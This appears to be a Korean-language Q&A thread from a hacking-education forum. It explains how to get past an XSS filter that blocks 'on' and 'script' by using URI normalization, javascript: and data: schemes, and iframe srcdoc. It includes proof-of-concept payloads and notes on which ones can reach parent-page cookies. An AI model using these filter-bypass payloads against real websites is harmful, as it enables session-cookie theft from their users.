on이나 script만 우회하면 될것 같은데 아무리 찾아봐도 잘 모르겠네용...
힌트 좀 주시면 감사하겠습니다
https://learn.dreamhack.io/318 를 먼저 참고하시고요
on이나 script를 우회할 때는 자동으로 URI가 decode되는 부분을 이용할 수도 있습니다. URI가 사용되는 부분은
<script src="URI"></script> <!-- URI에 요청해서 받은 것을 innerHTML 안에 넣어줍니다 -->
<a href="URI">click me</a> <!-- 클릭하면 현재 창(window)이 URI로 갑니다(go) -->
<iframe src="URI"></iframe> <!-- iframe 안의 창(window)이 URI로 갑니다(go)-->
<img src="URI"/> <!-- URI에 요청해서 받은 것을 이미지로 보여줌 -->
저 URI에 들어가는 것은 url normalize를 거치는데 아래 순서대로 진행합니다. (직접 html코드를 짜보고 test해보세요)
- 먼저 URI에 포함된 줄바꿈문자(
\n
,\x0a
), 탭(\t
,\x09
), 그외 특수문자\x01
,\x04
등이 제거됩니다./a/b/../c
경로는/a/c
로 축소됩니다. %03
처럼 퍼센트인코딩된 것을 바꾸어줍니다.%03
은 1바이트 값0x03
으로 바꿉니다.
그리고 위 4가지에서 보면 URI가 사용되는 부분을 크게 URI로 가는 것(go) 과 자료를 받는 것으로 구분되는데요.
갈 때(go)
URI가 javascript:alert(123)
에 가야 한다면 가지 않고 창이 이동하지 않습니다. 대신 저 자바스크립트 명령어 alert(123)
를 실행하게 됩니다.
활용할 수 있는 부분은 <iframe src="URI">
나 자바스크립트 안에서 location="javascript:alert()
가 있습니다.
<iframe src="javascript:alert(document.domain)"></iframe>
<!-- 불행하게도 부모 창의 domain이 뜹니다! 부모창의 쿠키 탈취가 가능하겠네요. -->
받을 때
두괄식으로 결론을 먼저 말하자면 이 방법으로는 부모쿠키 탈취가 안 됩니다.
원래는 URI로 요청해서 자료를 받고 처리를 하는데요. https://developer.mozilla.org/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URIs 에 따르면 URI가 data:[<mediatype>][;base64],<data>
의 꼴이 되면 요청(request)했을 때 <data>
를 받은 것처럼 작동하게 됩니다.
예를 들어
<img src="data:image/png;base64;,iVBORw0KGgoAAAANSUhEUgAAACYAAAAlCAIAAAChywxXAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAD3SURBVFhH7ZfhDYMgEIW143g3TnEdYB3sOB7rULiSNo2AthVjUr4fiuj5fPAgsXfOdcdyiecDaZKVaJKVyEuSxr5HTfFyI1xVrltxSWRjaxt0m1iLlJ64I8HOAwtXAXxWUnBHgr3nEuTst1A3S1ZOcqr4VGOjJE16RM4igzjqR04WxKBnw+MJI59kVmE6hImNBKB43t4xHBtflmXNpdWIyvsBocxTYDb8FaRwLLnJEd+y5GUu6SbeXtj53WXQSyYeJK88az/cntbjI2RhhX3HeRfJnjTJSjTJSvy95DD4nRT8IQf4rTA89MYQeotl7WevEk2yCl13B5X963+nrVN1AAAAAElFTkSuQmCC"/>
는 마치 요청을 했을 때 응답(response)헤더로 Content-Type: image/png
와 자료를 받은 것처럼 작동합니다. 그리고 base64;
가 붙어있으니 base64 디코딩도 해주고요.
여러가지 경우를 살피면
<script src="data:,alert(document.domain)">
<!-- alert(document.domain)이 들어갑니다. -->
</script>
<script src="data:base64;,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==">
<!-- base64;를 붙이면 base64 디코딩 해줍니다. -->
<!-- alert(document.domain)이 들어갑니다. -->
</script>
<iframe src="https://evilpage.co">
<!-- 이 악의적인 사이트가 <script>alert(document.domain)</script> 를 응답한다고 하면 -->
<!-- evilpage.co 가 출력됩니다. 즉 여기서 실행되는 xss의 domain은 원래 사이트가 아니라서 쿠키 탈취가 안됩니다 -->
</iframe>
<iframe src="data:,
<script>
alert(document.domain)
</script>
">
<!-- mediatype을 지정해주지 않으면 text/plain으로 해석되어 평문이 보여지고 alert가 작동하지 않습니다. -->
</iframe>
<iframe src="data:text/html;,
<script>
alert(document.domain)
</script>
">
<!-- alert(document.domain)이 작동하지만, 공백이 출력됩니다. -->
<!-- 이 iframe의 origin은 null이라서 cookie 탈취가 안됩니다. -->
<!-- https://dreamhack.io/forum/qna/2044 를 참고하세요. -->
</iframe>
그러므로 iframe
은 굳이 data scheme(data:
)를 사용해도 이득이 없네요. iframe은 <iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
처럼 <iframe srcdoc="HTML CODE">
를 사용해야지 부모창의 쿠키에 접근할 수 있습니다. 그래서 HTML이 어떻게 decode 되는지 이해하면 이것도 활용할 수 있습니다.
========
요약
<iframe srcdoc="HTML CODE">
<iframe src="javascript:alert(document.domain)"></iframe>
만 부모 쿠키 탈취가 된다. 요청해서 받은 것으로 하는 건 안된다.